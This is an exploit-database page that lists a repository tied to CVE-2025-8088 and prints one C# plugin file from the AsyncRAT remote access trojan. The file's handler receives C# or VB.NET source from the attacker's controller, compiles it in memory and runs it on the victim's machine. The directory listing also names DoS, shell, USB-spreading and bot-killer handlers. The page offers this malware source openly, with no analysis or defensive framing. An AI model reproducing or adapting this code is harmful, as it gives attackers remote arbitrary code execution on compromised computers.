Exploit databaseDownload repository ZIP
GH-9d8bf7b89f407a0fff790750df76b5d3
lewis-ricardo/amaranth-project
Sources for CVE-2025-8088
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
- ↑..Parent directory
- HandleBotKiller.cs
- HandleDos.cs
- HandleLimeUSB.cs
- HandleShell.cs
- HandleTorrent.cs
- HandlerExecuteDotNetCode.cs
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
source/AsyncRAT-C-Sharp/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandlerExecuteDotNetCode.cs
C# · 3,530 bytesusing Microsoft.CSharp;
using Microsoft.VisualBasic;
using Plugin;
using MessagePackLib.MessagePack;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using System.Text;
namespace Miscellaneous.Handler
{
public class HandlerExecuteDotNetCode
{
private Dictionary<string, string> providerOptions = new Dictionary<string, string>() {
{"CompilerVersion", "v4.0" }
};
public HandlerExecuteDotNetCode(MsgPack unpack_msgpack)
{
switch (unpack_msgpack.ForcePathObject("Option").AsString)
{
case "C#":
{
Compiler(new CSharpCodeProvider(providerOptions), unpack_msgpack.ForcePathObject("Code").AsString, unpack_msgpack.ForcePathObject("Reference").AsString.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries));
break;
}
case "VB.NET":
{
Compiler(new VBCodeProvider(providerOptions), unpack_msgpack.ForcePathObject("Code").AsString, unpack_msgpack.ForcePathObject("Reference").AsString.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries));
break;
}
}
}
public void Compiler(CodeDomProvider codeDomProvider, string source, string[] referencedAssemblies)
{
try
{
var providerOptions = new Dictionary<string, string>() {
{"CompilerVersion", "v4.0" }
};
var compilerOptions = "/target:winexe /platform:anycpu /optimize-";
var compilerParameters = new CompilerParameters(referencedAssemblies)
{
GenerateExecutable = true,
GenerateInMemory = true,
CompilerOptions = compilerOptions,
TreatWarningsAsErrors = false,
IncludeDebugInformation = false,
};
var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source);
if (compilerResults.Errors.Count > 0)
{
foreach (CompilerError compilerError in compilerResults.Errors)
{
Debug.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
compilerError.Line, compilerError.Column, compilerError.FileName));
Packet.Error(string.Format("{0}\nLine: {1}", compilerError.ErrorText,
compilerError.Line));
break;
}
}
else
{
Assembly assembly = compilerResults.CompiledAssembly;
MethodInfo methodInfo = assembly.EntryPoint;
object injObj = assembly.CreateInstance(methodInfo.Name);
object[] parameters = new object[1];
if (methodInfo.GetParameters().Length == 0)
{
parameters = null;
}
methodInfo.Invoke(injObj, parameters);
}
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
}
}
}